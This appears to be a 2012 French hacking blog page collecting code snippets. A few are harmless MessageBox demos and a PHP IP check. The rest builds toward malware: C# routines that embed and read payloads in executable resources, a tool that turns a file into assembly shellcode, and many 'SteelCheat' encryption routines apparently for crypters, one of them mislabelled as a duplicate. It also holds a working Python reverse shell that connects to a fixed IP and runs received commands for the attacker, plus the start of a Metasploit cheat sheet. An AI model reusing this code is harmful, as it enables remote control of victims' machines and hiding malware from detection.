#includeint WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) { MessageBoxA(NULL, "Hello World!", "Ett0rhake", MB_OK); }
mardi 25 décembre 2012
C++ MsgBoxA winApi
Best way to read ressources data in C#
public static byte[] Read(string typeRes, string nameRes) { IntPtr resH1 = FindResource(IntPtr.Zero, typeRes, nameRes); IntPtr resH2 = LoadResource(IntPtr.Zero, resH1); IntPtr resH3 = LockResource(resH2); uint resSize = SizeofResource(IntPtr.Zero, resH1); //copey resorce to byte array in our memory byte[] y = new byte[resSize]; Marshal.Copy(resH3, y, 0, (int)resSize); //convert byte array to string //System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); //string settingtxt = encoding.GetString(y); return y; }
samedi 22 décembre 2012
Best way to write ressources data in C#
using System.Globalization; using System.Runtime.InteropServices; using System; class ResManager { #region WINAPI [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr BeginUpdateResource(string pFileName, [MarshalAs(UnmanagedType.Bool)]bool bDeleteExistingResources); [DllImport("kernel32.dll", SetLastError = true)] static extern bool UpdateResource(IntPtr hUpdate, string lpType, string lpName, ushort wLanguage, IntPtr lpData, uint cbData); [DllImport("kernel32.dll", SetLastError = true)] static extern bool EndUpdateResource(IntPtr hUpdate, bool fDiscard); #endregion public enum ICResult { Success, FailBegin, FailUpdate, FailEnd } public static ICResult Write(string exeFilePath, byte[] Data, string NameRes, string TypeRes) { // Load executable IntPtr handleExe = BeginUpdateResource(exeFilePath, false); if (handleExe == null) return ICResult.FailBegin; // Get language identifier CultureInfo currentCulture = CultureInfo.CurrentCulture; int pid = ((ushort)currentCulture.LCID) & 0x3ff; int sid = ((ushort)currentCulture.LCID) >> 10; ushort languageID = (ushort)((((ushort)pid) << 10) | ((ushort)sid)); // Get pointer to data GCHandle iconHandle = GCHandle.Alloc(Data, GCHandleType.Pinned); // Replace Data if (UpdateResource(handleExe, NameRes, TypeRes, languageID, iconHandle.AddrOfPinnedObject(), (uint)Data.Length)) { if (EndUpdateResource(handleExe, false)) return ICResult.Success; else return ICResult.FailEnd; } else return ICResult.FailUpdate; } }
mercredi 19 décembre 2012
Call unmanaged c# code
MsgBoxA API Import c#
// Sample program to call unmanaged code using System; using System.Runtime.InteropServices; class PInvoke1App { [DllImport("user32.dll")] static extern int MessageBoxA(int hWnd, string strMsg, string strCaption, int iType); public static void Main() { MessageBoxA(0, "Hello, World!", "This is called from a C# app!", 0); } }
Call ASM c#
lundi 17 décembre 2012
ASM ShellCode Generator C#
This is asm shellcode generator
it simply reads the bytes of a file and then convert it into shellcode and generate an output asm file
using System; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using System.Text.RegularExpressions; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); SetStyle(ControlStyles.SupportsTransparentBackColor, true); this.BackColor = Color.Transparent; } // INITIALISATION DES VARIABLES public string openfile { get; set; } public byte[] ReadFile { get; set; } private string ShellCodeModing; public string[] ShellCodeModinga { get; set; } public string reaDingFile { get; set; } static string ConvertStringArrayToString(string[] array) { // // Concatenate all the elements into a StringBuilder. // StringBuilder builder = new StringBuilder(); foreach (string value in array) { builder.Append(value); builder.Append("h,"); } return builder.ToString(); } private static string AppendAtPosition(string baseString, int position, string character) { var sb = new StringBuilder(baseString); for (int i = position; i < sb.Length; i += (position + character.Length)) sb.Insert(i, character); return sb.ToString(); } private void button1_Click(object sender, EventArgs e) { if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { openfile = openFileDialog1.FileName; // Recuperer le chemin du fichier ouvert } } private void button2_Click(object sender, EventArgs e) { ReadFile = File.ReadAllBytes(openfile); // Lecture du fichier dans la variable // Donnée binaires en string et affichage dans la textbox // SHELLCODE MODING ShellCodeModing = BitConverter.ToString(ReadFile); // HEX TO STRING // Si vous vouler crypter le shellcode c'est içi ou juste au dessus selon si vous voulez une string ou des bytes... ShellCodeModinga = ShellCodeModing.Split('-'); // SUPRESSION DU " - " ShellCodeModing = ConvertStringArrayToString(ShellCodeModinga); // RE STRING // toute les 15, de fait une nouvelle ligne StringBuilder sb = new StringBuilder(); string[] splitString = ShellCodeModing.Split(','); for (int idx = 0; idx < splitString.Length; idx++) { sb.Append(splitString[idx] + ","); if (idx > 0 && idx % 15 == 0) { sb.Append("\n"); } } string ShellCodeModingb = sb.ToString(); // Finalisation ShellCodeModingb = ShellCodeModingb.Replace(",\n", "\n db "); ShellCodeModingb = ShellCodeModingb.Replace(",", ",0"); ShellCodeModingb = ShellCodeModingb.Replace("db ", "db 0"); //ShellCodeModingb = ShellCodeModingb.Remove(ShellCodeModingb.Length - 4); ShellCodeModingb = ShellCodeModingb.Insert(0, "Shellcode db 0"); ShellCodeModingb = ShellCodeModingb + "DELET THE BULLSHIT END..."; TextWriter tw = new StreamWriter("output.asm"); //Ouvrir/Creer le fichier tw.WriteLine(ShellCodeModingb); // Ecrire tw.Close(); // Fermer le fichier System.IO.StreamReader myFile = new System.IO.StreamReader("output.asm"); string myString = myFile.ReadToEnd(); textBox2.Text = myString; MessageBox.Show("Show the output.asm !"); } private void Form1_Load(object sender, EventArgs e) { } } }
Bytes Ecnryption in C# SteelCheat
RSM
public byte[] RSMEncrypt(byte[] input, byte[] key) { Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[8], 1); RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(16); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(16); byte[] array = new byte[input.Length + 16]; Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, array, 0, 16); Buffer.BlockCopy(input, 0, array, 16, input.Length); return rijndaelManaged.CreateEncryptor().TransformFinalBlock(array, 0, array.Length); } public byte[] RSMDecrypt(byte[] data, byte[] key) { Rfc2898DeriveBytes R = new Rfc2898DeriveBytes(key, new byte[8], 1); RijndaelManaged T = new RijndaelManaged(); T.Key = R.GetBytes(16); T.IV = R.GetBytes(16); byte[] O = T.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); byte[] U = new byte[O.Length - 16]; Buffer.BlockCopy(O, 16, U, 0, O.Length - 16); return U; }
RC4
public static byte[] RC4Encrypt(byte[] input, string key) { int num; byte num3; byte[] bytes = Encoding.ASCII.GetBytes(key); byte[] buffer2 = new byte[0x100]; byte[] buffer3 = new byte[0x100]; for (num = 0; num < 0x100; num++) { buffer2[num] = (byte)num; buffer3[num] = bytes[num % bytes.GetLength(0)]; } int index = 0; for (num = 0; num < 0x100; num++) { index = ((index + buffer2[num]) + buffer3[num]) % 0x100; num3 = buffer2[num]; buffer2[num] = buffer2[index]; buffer2[index] = num3; } num = index = 0; for (int i = 0; i < input.GetLength(0); i++) { num = (num + 1) % 0x100; index = (index + buffer2[num]) % 0x100; num3 = buffer2[num]; buffer2[num] = buffer2[index]; buffer2[index] = num3; int num5 = (buffer2[num] + buffer2[index]) % 0x100; input[i] = (byte)(input[i] ^ buffer2[num5]); } return input; } public static byte[] RC4(byte[] bytes, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); Byte[] s = new Byte[256]; Byte[] k = new Byte[256]; Byte temp; int i, j; for (i = 0; i < 256; i++) { s[i] = (Byte)i; k[i] = key[i % key.GetLength(0)]; } j = 0; for (i = 0; i < 256; i++) { j = (j + s[i] + k[i]) % 256; temp = s[i]; s[i] = s[j]; s[j] = temp; } i = j = 0; for (int x = 0; x < bytes.GetLength(0); x++) { i = (i + 1) % 256; j = (j + s[i]) % 256; temp = s[i]; s[i] = s[j]; s[j] = temp; int t = (s[i] + s[j]) % 256; bytes[x] ^= s[t]; } return bytes; }
Poly Rev
public static byte[] PolyRecEncrypt(byte[] byte_0, string string_0) { byte num = (byte)new Random().Next(1, 0xff); byte[] bytes = Encoding.ASCII.GetBytes(string_0); byte[] array = new byte[byte_0.Length + 1]; int index = 0; for (int i = 0; i <= (byte_0.Length - 1); i++) { array[i] = (byte)((byte_0[i] ^ bytes[index]) ^ num); Array.Reverse(bytes); if (index == (bytes.Length - 1)) { index = 0; } else { index++; } } Array.Resize(ref array, array.Length); array[array.Length - 1] = num; Array.Reverse(array); return array; } public static byte[] PolyRevDecrypt(byte[] data, string pass) { Array.Reverse(data); byte rndByte = data[data.Length - 1]; byte[] passByte = System.Text.Encoding.ASCII.GetBytes(pass); byte[] Out = new byte[data.Length + 1]; int u = 0; for (int i = 0; i <= data.Length - 1; i++) { Out[i] = (byte)((data[i] ^ rndByte) ^ passByte[u]); Array.Reverse(passByte); if (u == passByte.Length - 1) u = 0; else u += 1; } Array.Resize(ref Out, Out.Length - 2); return Out; }
RijNdael
public static byte[] PolyRecEncrypt(byte[] byte_0, string string_0) { byte num = (byte)new Random().Next(1, 0xff); byte[] bytes = Encoding.ASCII.GetBytes(string_0); byte[] array = new byte[byte_0.Length + 1]; int index = 0; for (int i = 0; i <= (byte_0.Length - 1); i++) { array[i] = (byte)((byte_0[i] ^ bytes[index]) ^ num); Array.Reverse(bytes); if (index == (bytes.Length - 1)) { index = 0; } else { index++; } } Array.Resize(ref array, array.Length); array[array.Length - 1] = num; Array.Reverse(array); return array; } public static byte[] PolyRevDecrypt(byte[] data, string pass) { Array.Reverse(data); byte rndByte = data[data.Length - 1]; byte[] passByte = System.Text.Encoding.ASCII.GetBytes(pass); byte[] Out = new byte[data.Length + 1]; int u = 0; for (int i = 0; i <= data.Length - 1; i++) { Out[i] = (byte)((data[i] ^ rndByte) ^ passByte[u]); Array.Reverse(passByte); if (u == passByte.Length - 1) u = 0; else u += 1; } Array.Resize(ref Out, Out.Length - 2); return Out; }
XOR
public static byte[] XorEncrypt(byte[] byte_0, string string_0, int int_0) { byte[] bytes = Encoding.ASCII.GetBytes(string_0); for (int i = 0; i < byte_0.Length; i++) { byte_0[i] = (byte)(byte_0[i] ^ ((byte)((bytes[i % ((int)bytes.Length)] >> ((i + int_0) + bytes.Length)) & 0xff))); } return byte_0; } public static byte[] XORDecrypt(byte[] input, string Key, int amount) { byte[] key = Encoding.ASCII.GetBytes(Key); for (int i = 0; i < input.Length; i++) input[i] ^= (byte)(key[i % key.Length] >> (i + amount + key.Length) & 255); return input; }
3DES
public static byte[] TridesEncrypt(byte[] byte_0, string string_0) { TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); tripleDESCryptoServiceProvider.Key = Encoding.UTF8.GetBytes(string_0); tripleDESCryptoServiceProvider.Mode = CipherMode.ECB; tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateEncryptor(); byte[] result = cryptoTransform.TransformFinalBlock(byte_0, 0, byte_0.Length); tripleDESCryptoServiceProvider.Clear(); return result; } public static byte[] TripleDESDecrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider(); tripleDES.Key = UTF8Encoding.UTF8.GetBytes(Key); tripleDES.Mode = CipherMode.ECB; tripleDES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = tripleDES.CreateDecryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); tripleDES.Clear(); return resultArray; }
Poly DEX
public static byte[] PolyDEXEncrypt(byte[] byte_0, string string_0) { byte[] buffer3; byte[] bytes = Encoding.ASCII.GetBytes(string_0); int length = byte_0.Length; if (bytes.Length >= length) { buffer3 = bytes; } else { byte[] buffer4 = BitConverter.GetBytes(Math.Round((double)3.1415926535897931, 3)); byte[] dst = new byte[length]; Buffer.BlockCopy(bytes, 0, dst, 0, bytes.Length); for (int j = bytes.Length; j < length; j++) { dst[j] = (byte)((bytes[(j - bytes.Length) % bytes.Length] ^ dst[j - 1]) % 0x100); } for (int k = 0; k < 5; k++) { dst[0] = (byte)(dst[0] ^ buffer4[k]); for (int m = 1; m < dst.Length; m++) { dst[m] = (byte)(((dst[m] ^ ((byte)(buffer4[k] << (m % 3)))) ^ dst[m - 1]) % 0x100); } } buffer3 = dst; } byte[] array = byte_0; byte num6 = (byte)new Random().Next(0xff); Array.Resize(ref array, byte_0.Length + 1); array[array.Length - 1] = num6; for (int i = 0; i < (array.Length - 1); i++) { array[i] = (byte)((array[i] ^ buffer3[i]) ^ num6); } return array; } public static byte[] PolyDexDecrypt(byte[] plain, string Key) { byte[] key = Encoding.ASCII.GetBytes(Key); byte[] expandedKey; byte[] dKey = key; int length = plain.Length; if (dKey.Length >= length) expandedKey = dKey; else { byte[] rconst = BitConverter.GetBytes(Math.Round(Math.PI, 3)); byte[] result = new byte[length]; Buffer.BlockCopy(dKey, 0, result, 0, dKey.Length); for (int i = dKey.Length; i < length; i++) result[i] = (byte)((dKey[(i - dKey.Length) % dKey.Length] ^ (result[i - 1])) % 256); for (int round = 0; round < 5; round++) { result[0] = (byte)(result[0] ^ rconst[round]); for (int i = 1; i < result.Length; i++) result[i] = (byte)(((result[i] ^ (byte)(rconst[round] << (i % 3))) ^ result[i - 1]) % 256); } expandedKey = result; } byte[] wholeState = plain; byte magic = plain[plain.Length - 1]; Array.Resize(ref wholeState, wholeState.Length - 1); for (int i = 0; i < wholeState.Length; i++) wholeState[i] = (byte)(wholeState[i] ^ magic ^ expandedKey[i]); return wholeState; }
Poly Stairs
public static byte[] PolyStairsEncrypt(byte[] byte_0, string string_0) { byte[] bytes = Encoding.ASCII.GetBytes(string_0); Array.Resize(ref byte_0, byte_0.Length + 1); byte_0[byte_0.Length - 1] = Convert.ToByte(new Random().Next(1, 255)); for (int i = byte_0.Length; i >= 0; i += -1) { byte_0[i % byte_0.Length] = Convert.ToByte((int)(Convert.ToByte(Convert.ToInt32((int)byte_0[i % byte_0.Length] + Convert.ToInt32(byte_0[(i + 1) % byte_0.Length])) % 256) ^ bytes[i % bytes.Length])); } return byte_0; } public static byte[] PolyStairDeCrypt(byte[] Data, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); for (int i = 0; i <= Data.Length; i++) { Data[i % Data.Length] = Convert.ToByte((Convert.ToInt32(Data[i % Data.Length] ^ Key[i % Key.Length]) - Convert.ToInt32(Data[(i + 1) % Data.Length]) + 256) % 256); } Array.Resize(ref Data, Data.Length - 1); return Data; }
Symetric
public static byte[] SymetricEncrypt(byte[] byte_0, string string_0) { SymmetricAlgorithm symmetricAlgorithm = SymmetricAlgorithm.Create(); MemoryStream memoryStream = new MemoryStream(); byte[] bytes = Encoding.ASCII.GetBytes(string_0); byte[] rgbIV = bytes; CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write); cryptoStream.Write(byte_0, 0, byte_0.Length); cryptoStream.Close(); return memoryStream.ToArray(); } public static byte[] SymetricDecrypt(byte[] bytes, string Key) { MemoryStream ms = new MemoryStream(); SymmetricAlgorithm rijn = SymmetricAlgorithm.Create(); byte[] key = Encoding.ASCII.GetBytes(Key); byte[] rgbIV = key; CryptoStream cs = new CryptoStream(ms, rijn.CreateDecryptor(key, rgbIV), CryptoStreamMode.Write); cs.Write(bytes, 0, bytes.Length); cs.Close(); return ms.ToArray(); }
AES
public static byte[] AESEncrypt(byte[] byte_0, string string_0) { RijndaelManaged rijndaelManaged = new RijndaelManaged(); byte[] array = new byte[32]; byte[] sourceArray = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(string_0)); Array.Copy(sourceArray, 0, array, 0, 16); Array.Copy(sourceArray, 0, array, 15, 16); rijndaelManaged.Key = array; rijndaelManaged.Mode = CipherMode.ECB; ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor(); return cryptoTransform.TransformFinalBlock(byte_0, 0, byte_0.Length); } public static byte[] AESDecrypt(byte[] input, string Pass) { RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged(); byte[] hash = new byte[32]; byte[] temp = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(Pass)); Array.Copy(temp, 0, hash, 0, 16); Array.Copy(temp, 0, hash, 15, 16); AES.Key = hash; AES.Mode = System.Security.Cryptography.CipherMode.ECB; ICryptoTransform DESDecrypter = AES.CreateDecryptor(); return DESDecrypter.TransformFinalBlock(input, 0, input.Length); }
Poly Baby
public static byte[] PolyBabyEncrypt(byte[] byte_0, string string_0) { byte[] bytes = Encoding.ASCII.GetBytes(string_0); byte[] array = new byte[byte_0.Length + 1]; int num = new Random().Next(1, 255); for (int i = 0; i <= byte_0.Length - 1; i++) { array[i] = (byte)((int)byte_0[i] ^ ((int)bytes[i % bytes.Length] + num & 255)); } array[byte_0.Length] = (byte)num; return array; } public static byte[] PolyBabyDecrypt(byte[] input, string Key) { byte[] key = Encoding.ASCII.GetBytes(Key); byte[] Out = new byte[input.Length - 1]; int x = input[input.Length - 1]; for (int i = 0; i <= Out.Length - 1; i++) Out[i] = (byte)(input[i] ^ (key[i % key.Length] + x) & 255); return Out; }
DEX
public static byte[] DexEncrypt(byte[] byte_0, string string_0) { byte[] bytes = System.Text.Encoding.ASCII.GetBytes(string_0); for (int i = 0; i < 5; i++) { for (int j = 0; j < byte_0.Length; j++) { byte_0[j] ^= bytes[j % bytes.Length]; for (int k = 0; k < bytes.Length; k++) { byte_0[j] = (byte)((int)byte_0[j] ^ ((int)((int)bytes[k] << (i & 31)) ^ k) + j); } } } return byte_0; } public static byte[] DexDecrypt(byte[] plain, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); for (int round = 4; round >= 0; round--) { for (int i = 0; i < plain.Length; i++) { for (int k = 0; k < key.Length; k++) plain[i] = (byte)(plain[i] ^ ((((key[k] << round) ^ k) + i))); plain[i] = (byte)(plain[i] ^ key[i % key.Length]); } } return plain; }
CLOUD
public static byte[] CloudEncrypt(byte[] byte_0, string string_0) { byte[] bytes = System.Text.Encoding.ASCII.GetBytes(string_0); byte[] array = new byte[byte_0.Length]; short num = 0; for (int i = 0; i < byte_0.Length; i++) { if ((int)num >= bytes.Length) { num = 0; } array[i] = (byte)((int)byte_0[i] + byte_0.Length % bytes.Length + (int)bytes[(int)num]); num += 1; } return array; } public static byte[] CloudDecrypt(byte[] Input, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); byte[] FinVal = new byte[Input.Length]; short kc = 0; for (int index = 0; index < Input.Length; index++) { if (kc >= Key.Length) kc = 0; FinVal[index] = (byte)(Input[index] - (Input.Length % Key.Length) - (Key[kc])); kc++; } return FinVal; }
Poly AES
public static byte[] PolyAESencrypt(byte[] byte_0, string string_0) { System.Security.Cryptography.SymmetricAlgorithm symmetricAlgorithm = new System.Security.Cryptography.RijndaelManaged(); System.Security.Cryptography.RNGCryptoServiceProvider rNGCryptoServiceProvider = new System.Security.Cryptography.RNGCryptoServiceProvider(); symmetricAlgorithm.Mode = System.Security.Cryptography.CipherMode.CBC; byte[] bytes = System.Text.Encoding.ASCII.GetBytes(string_0); symmetricAlgorithm.GenerateIV(); byte[] array = new byte[32]; rNGCryptoServiceProvider.GetBytes(array); System.Security.Cryptography.Rfc2898DeriveBytes rfc2898DeriveBytes = new System.Security.Cryptography.Rfc2898DeriveBytes(bytes, array, 2000); symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(32); System.Security.Cryptography.ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateEncryptor(); byte[] array2 = cryptoTransform.TransformFinalBlock(byte_0, 0, byte_0.Length); int dstOffset = array2.Length; System.Array.Resize(ref array2, array2.Length + array.Length); System.Buffer.BlockCopy(array, 0, array2, dstOffset, array.Length); dstOffset = array2.Length; System.Array.Resize (ref array2, array2.Length + symmetricAlgorithm.IV.Length); System.Buffer.BlockCopy(symmetricAlgorithm.IV, 0, array2, dstOffset, symmetricAlgorithm.IV.Length); return array2; } public static byte[] PolyAESDecrypt(byte[] cipherText, string Key) { byte[] salt; SymmetricAlgorithm algo = new RijndaelManaged(); algo.Mode = CipherMode.CBC; RNGCryptoServiceProvider rngAlgo = new RNGCryptoServiceProvider(); byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); byte[] cipherTextWithSalt = new byte[1]; byte[] encSalt = new byte[1]; byte[] origCipherText = new byte[1]; byte[] encIv = new byte[1]; Array.Resize(ref encIv, 16); Buffer.BlockCopy(cipherText, (int)(cipherText.Length - 16), encIv, 0, 16); Array.Resize(ref cipherTextWithSalt, (int)(cipherText.Length - 16)); Buffer.BlockCopy(cipherText, 0, cipherTextWithSalt, 0, (int)(cipherText.Length - 16)); Array.Resize(ref encSalt, 32); Buffer.BlockCopy(cipherTextWithSalt, (int)(cipherTextWithSalt.Length - 32), encSalt, 0, 32); Array.Resize(ref origCipherText, (int)(cipherTextWithSalt.Length - 32)); Buffer.BlockCopy(cipherTextWithSalt, 0, origCipherText, 0, (int)(cipherTextWithSalt.Length - 32)); algo.IV = encIv; salt = encSalt; Rfc2898DeriveBytes pwDeriveAlg = new Rfc2898DeriveBytes(key, salt, 2000); algo.Key = pwDeriveAlg.GetBytes(32); ICryptoTransform decTransform = algo.CreateDecryptor(); byte[] plainText = decTransform.TransformFinalBlock(origCipherText, 0, origCipherText.Length); return plainText; }
Stairs
public static byte[] StairsEncrypt(byte[] byte_0, string string_0) { byte[] bytes = Encoding.ASCII.GetBytes(string_0); for (int i = 0; i <= ((byte_0.Length * 2) + bytes.Length); i++) { byte_0[i % byte_0.Length] = (byte)(((byte)((byte_0[i % byte_0.Length] + byte_0[(i + 1) % byte_0.Length]) % 0x100)) ^ bytes[i % bytes.Length]); } return byte_0; } public static byte[] StairsDecrypt(byte[] Data, string Key) { byte[] key = System.Text.Encoding.ASCII.GetBytes(Key); for (int i = (Data.Length * 2) + key.Length; i >= 0; i += -1) { Data[i % Data.Length] = (byte)(((int)(Data[i % Data.Length] ^ key[i % key.Length]) - (int)(Data[(i + 1) % Data.Length]) + 256) % 256); } return Data; }
Poly 3DES
public static byte[] Poly3desEncrypt(byte[] byte_0, string string_0) { byte[] array = byte_0; System.Array.Resize(ref array, array.Length + 1); array[array.Length - 1] = (byte)new System.Random().Next(0, 255); System.Security.Cryptography.TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new System.Security.Cryptography.TripleDESCryptoServiceProvider(); tripleDESCryptoServiceProvider.Key = System.Text.Encoding.UTF8.GetBytes(string_0); tripleDESCryptoServiceProvider.Mode = System.Security.Cryptography.CipherMode.ECB; tripleDESCryptoServiceProvider.Padding = System.Security.Cryptography.PaddingMode.PKCS7; System.Security.Cryptography.ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateEncryptor(); byte[] result = cryptoTransform.TransformFinalBlock(array, 0, array.Length); tripleDESCryptoServiceProvider.Clear(); return result; } public static byte[] PolyTripleDESDecrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider(); tripleDES.Key = UTF8Encoding.UTF8.GetBytes(Key); tripleDES.Mode = CipherMode.ECB; tripleDES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = tripleDES.CreateDecryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); tripleDES.Clear(); Array.Resize(ref resultArray, resultArray.Length - 1); return resultArray; }
Poly DES
public static byte[] PolyDesEncrypt(byte[] byte_0, string string_0) { byte[] array = byte_0; System.Array.Resize(ref array, array.Length + 1); array[array.Length - 1] = (byte)new System.Random().Next(0, 255); System.Security.Cryptography.DESCryptoServiceProvider dESCryptoServiceProvider = new System.Security.Cryptography.DESCryptoServiceProvider(); dESCryptoServiceProvider.Key = System.Text.Encoding.UTF8.GetBytes(string_0); dESCryptoServiceProvider.Mode = System.Security.Cryptography.CipherMode.ECB; dESCryptoServiceProvider.Padding = System.Security.Cryptography.PaddingMode.PKCS7; System.Security.Cryptography.ICryptoTransform cryptoTransform = dESCryptoServiceProvider.CreateEncryptor(); byte[] result = cryptoTransform.TransformFinalBlock(array, 0, array.Length); dESCryptoServiceProvider.Clear(); return result; } public static byte[] PolyDESDecrypt(byte[] bytes, string Key) { byte[] inputArray = bytes; DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); DES.Key = UTF8Encoding.UTF8.GetBytes(Key); DES.Mode = CipherMode.ECB; DES.Padding = PaddingMode.PKCS7; ICryptoTransform cTransform = DES.CreateDecryptor(); byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length); DES.Clear(); Array.Resize(ref resultArray, resultArray.Length - 1); return resultArray; }
Poly RijnDael
public static byte[] PolyRijnDaelEncrypt(byte[] byte_0, string string_0) { System.Array.Resize(ref byte_0, byte_0.Length + 1); byte_0[byte_0.Length - 1] = (byte)new System.Random().Next(0, 255); System.Security.Cryptography.Rijndael rijndael = System.Security.Cryptography.Rijndael.Create(); System.Security.Cryptography.Rfc2898DeriveBytes rfc2898DeriveBytes = new System.Security.Cryptography.Rfc2898DeriveBytes(string_0, new byte[] { 38, 220, 255, 0, 173, 237, 122, 238, 197, 254, 7, 175, 77, 8, 34, 60 }); rijndael.Key = rfc2898DeriveBytes.GetBytes(32); rijndael.IV = rfc2898DeriveBytes.GetBytes(16); System.IO.MemoryStream memoryStream = new System.IO.MemoryStream(); System.Security.Cryptography.CryptoStream cryptoStream = new System.Security.Cryptography.CryptoStream(memoryStream, rijndael.CreateEncryptor(), System.Security.Cryptography.CryptoStreamMode.Write); cryptoStream.Write(byte_0, 0, byte_0.Length); cryptoStream.Close(); return memoryStream.ToArray(); } public static byte[] PolyRijndaelDecrypt(byte[] bytes, string Key) { Rijndael rijndael = Rijndael.Create(); Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(Key, new byte[] { 0x26, 0xdc, 0xff, 0x00, 0xad, 0xed, 0x7a, 0xee, 0xc5, 0xfe, 0x07, 0xaf, 0x4d, 0x08, 0x22, 0x3c }); rijndael.Key = pdb.GetBytes(32); rijndael.IV = pdb.GetBytes(16); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.Close(); byte[] b = memoryStream.ToArray(); Array.Resize(ref b, b.Length - 1); return b; }
Poly Cloud
public static byte[] PolyCloudEncrypt(byte[] byte_0, string string_0) { byte[] bytes = System.Text.Encoding.ASCII.GetBytes(string_0); System.Random random = new System.Random(); int num = random.Next(1, 50); byte[] array = new byte[byte_0.Length + 1]; array[byte_0.Length] = (byte)num; short num2 = 0; for (int i = 0; i < byte_0.Length; i++) { if ((int)num2 >= bytes.Length) { num2 = 0; } array[i] = (byte)((int)byte_0[i] + byte_0.Length % bytes.Length + (int)bytes[(int)num2] - num); num2 += 1; } return array; } public static byte[] PolyCloudDecrypt(byte[] Input, string key) { byte[] Key = System.Text.Encoding.ASCII.GetBytes(key); int Salt = (int)Input[Input.Length - 1]; byte[] FinVal = new byte[Input.Length - 1]; short kc = 0; for (int index = 0; index < Input.Length - 1; index++) { if (kc >= Key.Length) kc = 0; if (index >= Input.Length - 1) continue; FinVal[index] = (byte)(Input[index] - (FinVal.Length % Key.Length) - (Key[kc]) + Salt); kc++; } return FinVal; }Original Post by Und3ath
samedi 15 décembre 2012
MessageBox in ASM
by Jochen my bro :)
FASM versions
FASM versions
MessageBox Simple :
format pe gui 4.0 include 'win32ax.inc' szMes db 'Message',0 szCap db 'Caption',0 start: invoke MessageBoxA,0,szMes,szCap,MB_OK invoke ExitProcess, 0 .end start
MessageBox with import's :
entry main include 'win32ax.inc' ; Simple MessageBox with Import's ;) main: invoke MessageBox,0,'MessageBox with Imports','lpCaption',MB_OK invoke ExitProcess, 0 exit: data import library kernel32,'kernel32.dll', user32,"USER32.DLL" import user32, MessageBox, 'MessageBoxA' import kernel32, ExitProcess, 'ExitProcess' end data
MessageBox Dynamic:
format pe gui 4.0 entry x include 'win32ax.inc' ; Dynamic MessageBox 1Kb :) x: stdcall [LoadLibraryA], 'user32.dll' stdcall [GetProcAddress], eax, 'MessageBoxA' push MB_OK push lpCaption push lpText push 0 call eax quit: invoke ExitProcess,0 data import library kernel32,"kernel32.dll" include "%include%/api/kernel32.inc" lpCaption db 'FASM RuLE!',0 lpText db 'Dynamic MessageBox',0 end data
Litle reverse shell in python
You can't find litle :)
#!/usr/bin/python # Simple Reverse Shell Written by: Dave Kennedy (ReL1K) # Copyright 2012 TrustedSec, LLC. All rights reserved. # # This piece of software code is licensed under the FreeBSD license.. # # Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. import socket import subprocess HOST = '192.168.225.136' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # loop forever while 1: # recv command line param data = s.recv(1024) # execute command line proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) # grab output from commandline stdout_value = proc.stdout.read() + proc.stderr.read() # send back to attacker s.send(stdout_value) # quit out afterwards and kill socket s.close()
Get the real client ip in php
if (!empty($_SERVER["HTTP_CLIENT_IP"])) { //Verif sur le net ? $ip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { // Proxy ? $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; } echo $ip;
Metasploit SteelCheat Commands
MSFconsole Commands
show exploits
Show all exploits within the Framework.
show payloads
Show all payloads within the Framework.
show auxiliary
Show all auxiliary modules within the Framework.
search name
